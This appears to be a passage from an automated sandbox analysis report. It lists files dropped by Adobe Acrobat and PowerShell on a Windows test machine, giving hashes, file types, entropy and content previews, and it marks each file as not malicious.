SSDEEP:	6:YEQXJ2HXDAkmRDYvB3/dVlPIHAR0YkQ90ieoAvJfbPtdPeUkwRe9:YvXKXoRkvR/ZwHArGDV8Ukee9
MD5:	99DCF96479CA9DEC018BD7DDC6ACE21B
SHA1:	8FBF176F7AFD9AAB4F8CB21183D11DE2E5B4972A
SHA-256:	2E9D07835C358EF755AB54D07D4BBFEFD731DBD660D952AAF0C53A26666D4E10
SHA-512:	DCFBC82604F69C75E2EAF791159766BB06CD95F2DD6C8B0652E0FE797D6356CD763E2B9C6985E5BDD9DB4464EB403AD64970CA5528D83C9A516FD2B2D0C7220E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4e3f3453-4f1b-455d-af74-a7b1d6baacbc","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736706583816,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.259862504928691
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAkmRDYvB3/dVlPIHAR0YkQ90ieoAvJf21rPeUkwRe9:YvXKXoRkvR/ZwHArG+16Ukee9
MD5:	78E69802A175563099C08531EB4765F1
SHA1:	1B68710CC17F6658EE0BA33DE6C7F0C0D8049E17
SHA-256:	D482DB3CA4ADFFA8E37CCFBED20C825F4F6568EB45F9C90F50512B62278B4F7B
SHA-512:	9F32227407906012A5ECF38509915F19117D25437E621360F730F771CDB4BE71AE71790BD91D8DDFB37CEA71721BD30C8C93BBED6D9B13EA2BB00CCD30D95846
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4e3f3453-4f1b-455d-af74-a7b1d6baacbc","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736706583816,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.664558830130402
Encrypted:	false
SSDEEP:	24:Yv6XoaJhwamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS2n:YvjaJh2BgkDMUJUAh8cvM2
MD5:	4A468C6B4BB9F4F9AEA3C9640A6D7870
SHA1:	67DA2C4D0F7642AA5985EF4B7FB3A0479A63AA4C
SHA-256:	30257BE4299913FB80AF703352961A5E2CEEFD19FBFF04EF4031C2C047BC9D48
SHA-512:	AE6423924C1AA4C99D9B743776CCB2AB2D0303F68B496492C448BBB68481D7C89A65E9493352B31F086AE956B1E669FEFBD7051BC5963AAC72FED69B6F1ADBE0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4e3f3453-4f1b-455d-af74-a7b1d6baacbc","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736706583816,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.233514872054337
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAkmRDYvB3/dVlPIHAR0YkQ90ieoAvJfshHHrPeUkwRe9:YvXKXoRkvR/ZwHArGUUUkee9
MD5:	92A037A7E128D268363BF4FD68483E21
SHA1:	455A57AB0557828B8EB88FAF1E7EAFE7765B3F21
SHA-256:	BB5CE4DACB61BAC99D25BE9FFC2E417CD87A5AE7EEF2CB2F136952FE1192B148
SHA-512:	3AF1CBB2E3560946353CFCA3CEECA3EF80EFDDD8C35A3888175911DD76ECB878136981561A5599B69C3C5F6FC19E4D2791C9DA1461DD90C9B18D68CF2E34E01A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4e3f3453-4f1b-455d-af74-a7b1d6baacbc","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736706583816,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.261762959443424
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAkmRDYvB3/dVlPIHAR0YkQ90ieoAvJTqgFCrPeUkwRe9:YvXKXoRkvR/ZwHArGTq16Ukee9
MD5:	1CA6C30E5B58419582D49D515CF01886
SHA1:	E08497A2270C1F42B6C973F2B87A0FBEA65897EC
SHA-256:	653D61170CDE543BCCD2AE208CFD8360E51868A408FCDE1A637A6FBEE0A92F23
SHA-512:	EBCDC6344BFA339B7D549E78C7A85E6549AB5B1AC037FF533C7968AE48729440FF0E2DF59C35C66A9BE7EEF1F4EB3937454733A98E45AEC4707038BCA9148EF9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4e3f3453-4f1b-455d-af74-a7b1d6baacbc","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736706583816,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1284809695930145
Encrypted:	false
SSDEEP:	24:Y147E2aDB3ayxWu5nBqsndII2+v9suo+jjkj0Su6h9srBCu2JYw2LSgC4xPThw7/:YoWt5BrndIWfSDsVlYYw67xP9eqPn9S
MD5:	936A285730D8FC764430675D43CD972D
SHA1:	4150D656C2C4F693DF7961DE84F74CCF130EB084
SHA-256:	BE29339009A7E6F9BCA85E50E343E49972236A1396596B7107602004C709D083
SHA-512:	37AFF496C03AD5F7DF137946889071A7224BD436AEF490E71BE3768607D7B25EDFE2BF8A879A22C7F402700FFBFD7CF70A81EDFF78CAFBB8580348C26142176D
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"63c29ab4e2a72b2c83f09f5a4041a9f4","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736529103000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"f76e81580fedb57a53f052bf8d884eae","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736529103000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"6c73a2f6a6f0f30a8b765188c048409b","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736529103000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"560a45e9dbce8f6040efb888e6741315","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736529103000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"c3b0aeff2fffaa7371b1900e7d27e510","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736529103000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"14b3ae841864a277d5703fa095bbaff6","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.318294996006219
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMe/NptqVR:TGufl2GL7ms9WR1CPmPbPahlXypilI3L
MD5:	985D740E50275DF9E25B8F5BCD35CA76
SHA1:	838C6F2715F67B03D34AE1FE7745A673EA9067EA
SHA-256:	DBC0B257335C5FE1848EF43F42EB128EE6832FE9F2D86B68F57658C0326F6EEA
SHA-512:	987FD64CAC0374466F1E9B0395DE660E6D68931C7F61634AA9D6C3E82350EE31CC33CD495B52C3E5B8FB75FAE4675A1BC0A4F54CC50D207BC03F08F4A6FC1ED9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7801545857827548
Encrypted:	false
SSDEEP:	48:7M4vWR1CPmPbPahluypilIdqFl2GL7msB:7NWfMwbPahwwKVmsB
MD5:	C1EAFB9017D81C65985AAA6954D5E100
SHA1:	53755E173774E1FFBA58E795110208310673CA73
SHA-256:	49002ACE451830EABD239857EE9FBA7A1AA32B131A6E0278879C1E31DC3D1CD6
SHA-512:	D038152F732BD7742AC20868F46EEAAD12E3A064A7B00AC11894B2A2AC2D9E6C707582ABE1FB83697D31F4656C47F9939466D679CDF5759532863298B2B552CB
Malicious:	false
Preview:	.... .c.......A...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgIJo3ySyfsB35bvGGb4YekMw4YXLXYyu:6a6TZ44ADEIJo3ySTbug4vkBK
MD5:	EE22F8B07C25C21D3BE5D88C2FC78802
SHA1:	AB09161E57763786644C0BF09C7B41C9C98182E0
SHA-256:	201B93059A03EEFC7A3E58211119A50FA5736203B9877A127603CDB68C899053
SHA-512:	A6734AB76127329094B51ABC1C4F042ABCD7AB3C66C48E2194323B630B3A2C71C3E2BCB8879151948DF6C7243532B7295A182E67F7FAEB44EEB73C2B1DCC5470
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul9oj/tz:NllUKj/
MD5:	1558AA0899C27353A68431EE052EC3C4
SHA1:	A2601A25140A3703C8553959F4BD0926B31AAFB5
SHA-256:	3F7936DF95335336DFC5C6BAF55C2628A5AFF0116500ADEE9D40B7DB3941AC88
SHA-512:	CD213BEB302E73101224C3D40E5593661817AB724AD9A6C5DA0B3E748AD85384676573DBC36AE84FD103958CF55BEB712D7BAA8338F071BC3B5C7A9D5ED08E8C
Malicious:	false
Preview:	@...e...................................F............@..........

C:\Users\user\AppData\Local\Temp\MSI17036.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.499838153709141
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE3GljlH:Qw946cPbiOxDlbYnuRK+bD3Glj9
MD5:	8EF0157FC098389BE535E177E55BEA3B
SHA1:	56173373C2AF206AAFF40DB909099F36AA993A0E
SHA-256:	394E0EECDDF680A8D98717369611599E29885E878E545200A88E035AA31BBECA
SHA-512:	AAB5EAE2481C2B3532C0D71ED792559D99624DD41D7B4D5D97469E3A78D1AE1DD773D5D12C04EFF5B4F22095CC8483B1E64C411DDC2677753AF72191F06C3017
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.2.:.1.1.:.4.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f0cfenz2.eqe.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hqfp4qdv.swv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 12-11-37-862.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.377140898171656
Encrypted:	false
SSDEEP:	384:oqe/evC0Me9N8pwycvJjewSz7E7kAtxSTwxdrXLO5ZsvFugfJYsbZ0ZA1lVzVplD:ZSe59F9L5B
MD5:	95F5A2A81C0DEDD238C372D74F5C0D67
SHA1:	B3568C9118DA022345E55D03A966552DF9078B33
SHA-256:	693CE1031D515798127672D37FBD349CCDABB511E6435FEB6DA0138B8373867B
SHA-512:	44E829CEBCD4058E9534A10FF54A2447F0E1C5802A3DDE8A01FD79016D87A37F52DC5B864F5439ECA3E2BA589BA432F63EE9D09DB29BD19F21CBB2ED6446501C
Malicious:	false
Preview:	SessionID=ff4a274d-c5ee-42cb-83fd-bc6dc3a92b44.1736529097917 Timestamp=2025-01-10T12:11:37:917-0500 ThreadID=2768 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=ff4a274d-c5ee-42cb-83fd-bc6dc3a92b44.1736529097917 Timestamp=2025-01-10T12:11:37:940-0500 ThreadID=2768 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=ff4a274d-c5ee-42cb-83fd-bc6dc3a92b44.1736529097917 Timestamp=2025-01-10T12:11:37:940-0500 ThreadID=2768 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=ff4a274d-c5ee-42cb-83fd-bc6dc3a92b44.1736529097917 Timestamp=2025-01-10T12:11:37:940-0500 ThreadID=2768 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=ff4a274d-c5ee-42cb-83fd-bc6dc3a92b44.1736529097917 Timestamp=2025-01-10T12:11:37:940-0500 ThreadID=2768 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.402783749889137
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbupcb0Ii0cbJ:ceo4+rsCwQiL
MD5:	C2D05098F311E2CA4EBCF5D1E3C38AE5
SHA1:	5BB28E85B30A7515BC72B5288140B0AE165EAE09
SHA-256:	8BD9E8B1A3700C0C86C106C6E2006B27F9995D80C83F247E5EBA63A8A45166A9
SHA-512:	4A38A145A28D1AF6411FC1C29D72B8F7E3A31B2430FFEAE7FB80FF2094AB1C1725FC68869DADA607FF2E7902272281481A729405FD4B66648ACC15BFE3A66E00
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\769fcc01-840f-487b-b166-281cc38f8cef.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\8c19d847-a29d-46cc-8c20-e26e2ac8d0b9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\bd340be7-a183-488e-bb5e-a42236b0c901.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/YkwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZd:DwZG2b3mlind9i4ufFXpAXkrfUs0qWLk
MD5:	38ED8E7B44D526DDA0F3E7608AF1AFA1
SHA1:	45E30A6789382E29AC870CCF92B514FB95742C45
SHA-256:	7B277E2332AE55A014D8C37CCC879D165E33315437F6197BEB153CD75E4EFBBF
SHA-512:	7169B1E4B2895A91FA0FBE4297CB70BE56D733084653334BB4E8421382F8F761DAD11B5D87277E0286A7C16CB53A2C79F96BB45F433D776E82A7CF45EA25121C
Malicious:	false
